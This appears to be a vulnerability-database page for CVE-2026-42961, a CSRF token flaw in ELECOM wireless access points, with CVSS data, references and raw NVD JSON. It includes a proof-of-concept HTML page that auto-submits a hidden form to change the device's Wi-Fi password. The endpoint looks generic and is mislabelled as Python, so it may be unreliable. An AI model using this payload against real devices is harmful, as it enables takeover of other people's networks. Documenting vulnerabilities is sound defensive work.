CVE-2026-42961

Description

ELECOM wireless LAN access point devices implement CSRF protection mechanism, but with inadequate handling of CSRF tokens. If a user views a malicious page while logged in, the user may be tricked to do unintended operations.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

ELECOM wireless LAN access point devices (具体受影响型号及固件版本请参考厂商安全公告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-42961 -->
<!-- This PoC demonstrates a CSRF attack targeting ELECOM Wireless LAN AP -->
<html>
  <body>
    <h2>CSRF Exploit Test</h2>
    <!-- The form targets the configuration endpoint of the device -->
    <form action="http://<target-ip>/admin/change_config.cgi" method="POST">
      <!-- Inadequate CSRF token handling allows bypassing or omitting this -->
      <input type="hidden" name="token" value="" />
      <input type="hidden" name="setting_key" value="wifi_password" />
      <input type="hidden" name="setting_value" value="attacker_controlled" />
      <input type="submit" value="Click to win prize" />
    </form>
    <script>
      // Automatically submit the form when the page loads
      document.forms[0].submit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42961
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42961
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42961/
[4] VulDB https://vuldb.com/cve/CVE-2026-42961
[5] https://jvn.jp/en/jp/JVN03037325/
[6] https://www.elecom.co.jp/news/security/20260512-01/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-42961", "sourceIdentifier": "[email protected]", "published": "2026-05-13T13:16:44.337", "lastModified": "2026-05-13T15:47:10.327", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "ELECOM wireless LAN access point devices implement CSRF protection mechanism, but with inadequate handling of CSRF tokens. If a user views a malicious page while logged in, the user may be tricked to do unintended operations."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-344"}]}], "references": [{"url": "https://jvn.jp/en/jp/JVN03037325/", "source": "[email protected]"}, {"url": "https://www.elecom.co.jp/news/security/20260512-01/", "source": "[email protected]"}]}}